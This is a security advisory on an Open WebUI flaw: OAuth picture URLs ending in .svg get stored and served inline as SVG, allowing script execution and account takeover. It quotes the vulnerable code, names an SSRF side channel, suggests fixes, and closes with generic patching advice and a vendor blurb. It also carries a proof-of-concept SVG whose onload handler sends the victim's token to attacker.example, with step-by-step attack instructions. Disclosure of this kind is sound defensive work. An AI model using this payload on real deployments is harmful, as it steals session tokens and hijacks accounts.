When a user signs in via OAuth, Open WebUI fetches the picture claim URL, infers a MIME type from the URL extension via mimetypes.guess_type, and stores data:<mime>;base64,... as the user's profile image. The OAuth code path does not go through the validate_profile_image_url Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A .svg URL in the picture claim lands in the database as data:image/svg+xml;base64,....
The profile image endpoint GET /api/v1/users/{id}/profile/image returns the stored data URI with the attacker-controlled MIME type as Content-Type and Content-Disposition: inline. Security headers (CSP, X-Content-Type-Options) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing <script>/onload in the same origin and able to read localStorage.token → account takeover.
Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path.
backend/open_webui/utils/oauth.py:1336-1345 — _process_picture_url:
response = await client.get(picture_url, ...)
if response.status_code == 200:
picture = response.content
base64_encoded_picture = base64.b64encode(picture).decode("utf-8")
guessed_mime_type = mimetypes.guess_type(picture_url)[0]
if guessed_mime_type is None:
guessed_mime_type = "image/jpeg"
return f"data:{guessed_mime_type};base64,{base64_encoded_picture}"
No MIME allowlist. The upstream Content-Type is ignored. For a URL ending in .svg, mimetypes.guess_type returns image/svg+xml.
backend/open_webui/utils/validate.py:10-36 defines validate_profile_image_url, which only accepts /user.png, /user-mono.png, and data:image/{png,jpeg,gif,webp};base64,....
This validator is wired into Pydantic form models (SignupForm, UpdateProfileForm, UserUpdateForm), but the OAuth flow at oauth.py:1536-1540 (existing-user login) and oauth.py:1556-1574 (new-user signup) writes via Users.update_user_profile_image_url_by_id and Auths.insert_new_auth, both of which call SQLAlchemy directly (models/users.py:575-588) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged.
inline dispositionbackend/open_webui/routers/users.py:504-528 — get_user_profile_image_by_id:
header, encoded = image.split(",", 1)
media_type = header.split(";")[0].lstrip("data:") # "image/svg+xml"
data = base64.b64decode(encoded)
return StreamingResponse(
iter([data]),
media_type=media_type,
headers={"Content-Disposition": "inline"},
)
No MIME whitelist. The route requires get_verified_user — any authenticated user reaches it.
backend/open_webui/utils/security_headers.py:16-61 populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level image/svg+xml response as an XML document and execute embedded script.
Prerequisites: operator has OAuth signup enabled (ENABLE_OAUTH_SIGNUP=true) or OAuth login with picture sync (OAUTH_UPDATE_PICTURE_ON_LOGIN=true). The attacker has a valid identity on the configured IdP and can set their profile picture URL.
https://attacker.example/p.svg:<svg xmlns="http://www.w3.org/2000/svg"
onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" />
Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores data:image/svg+xml;base64,... in the attacker's profile_image_url.
Attacker shares a link to their own profile image with a victim in a chat DM or channel:
https://target.example/api/v1/users/<attacker-user-id>/profile/image
Content-Type: image/svg+xml with Content-Disposition: inline, renders the SVG as a top-level document, fires onload, and exfiltrates the victim's JWT. Attacker uses the JWT to take over the victim's account.workspace.tools permission — RCE via installed tools (per CVE-2025-64496 analysis)._process_picture_url function has no SSRF allowlist; a secondary primitive is to point the picture claim at an internal URL (metadata service, internal admin panel) and read the response bytes via the profile image endpoint.In _process_picture_url (utils/oauth.py:1336-1345): reject any MIME outside {image/png, image/jpeg, image/gif, image/webp}. Use the upstream Content-Type response header, not the URL extension. Also add an SSRF allowlist or at minimum block RFC1918 / link-local / loopback targets.
In get_user_profile_image_by_id (routers/users.py:504-528): enforce a MIME whitelist before building StreamingResponse. This is the defense-in-depth layer that should have caught the bypass.
Apply validate_profile_image_url at the model/storage layer (Users.update_user_profile_image_url_by_id), not only at the Pydantic form layer. All write paths to the profile image column should go through the same validator.
Set X-Content-Type-Options: nosniff and a default CSP unless the operator explicitly disables them.
backend/open_webui/utils/oauth.py:1318-1351 — MIME guess + fetchbackend/open_webui/utils/oauth.py:1536-1574 — OAuth write pathbackend/open_webui/utils/validate.py:10-36 — validator (bypassed)backend/open_webui/models/users.py:575-588 — DB writebackend/open_webui/routers/users.py:504-528 — serving endpointbackend/open_webui/utils/security_headers.py:16-61 — env-gated headersA security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.